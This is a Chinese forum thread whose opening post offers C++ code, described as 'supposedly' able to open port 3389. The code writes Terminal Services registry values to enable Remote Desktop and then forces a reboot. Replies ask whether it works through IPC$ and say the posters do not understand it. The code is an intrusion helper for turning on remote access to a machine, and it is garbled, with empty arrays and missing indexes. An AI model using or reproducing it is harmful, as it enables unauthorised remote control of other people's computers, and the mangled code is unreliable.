返回列表 发帖

开3389代码(据说~)

#include "windows.h" #include "iostream.h" void main(int argc, char* argv[]) { HKEY hKey; HANDLE hProcess, hToken; TOKEN_PRIVILEGES NewState; DWORD ProcessId, ReturnLength = 0; LUID luidPrivilegeLUID; LPCTSTR key[]={"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\netcache\\", "SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\\", "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\", "SYSTEM\\CurrentControlSet\\Services\\TermDD\\", "SYSTEM\\CurrentControlSet\\Services\\TermService\\", "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\", ".DEFAULT\\Keyboard Layout\\Toggle\\"}; HKEY head[]={HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE, HKEY_LOCAL_MACHINE,HKEY_LOCAL_MACHINE, HKEY_USERS}; DWORD type[] = ; LPCTSTR value[] = {"\x00\x00\x00\x00", "\x01\x00\x00\x00", "\x01\x00\x00\x00", "\x02\x00\x00\x00", "\x02\x00\x00\x00", "\x3d\x0d\x00\00", "2"}; DWORD length[] = {4, 4, 4, 4, 4, 4, 2}; LPCTSTR name[] = ; for(int i = 0; i < 2; i++) RegCreateKeyEx(head,key,0,NULL,REG_OPTION_NON_VOLATILE,KEY_WRITE,NULL,&hKey,NULL); for(i = 0; i < 7; i++) { if(::RegOpenKeyEx(head, key, 0, KEY_WRITE, &hKey) != ERROR_SUCCESS) { cout<<"Error Opening Register...\n"; return; } if(::RegSetValueEx(hKey, name, 0, type, (LPBYTE)value, length) != ERROR_SUCCESS) { cout<<"Error Writing Register...\n"; return; } } ProcessId = GetCurrentProcessId(); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken) ||!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &luidPrivilegeLUID)) { cout<<"Error! Try iisreset.exe /reboot to reboot system!"; return; } NewState.PrivilegeCount = 1; NewState.Privileges[0].Luid = luidPrivilegeLUID; NewState.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(AdjustTokenPrivileges(hToken, FALSE, &NewState, NULL, NULL, NULL)) ExitWindowsEx(EWX_FORCE | EWX_REBOOT, 0); return; }

开3389代码(据说~)

  
  IPC&#36;改注册表?

TOP

开3389代码(据说~)

看不明白

TOP

开3389代码(据说~)

是哪种代码?

TOP

返回列表 回复 发帖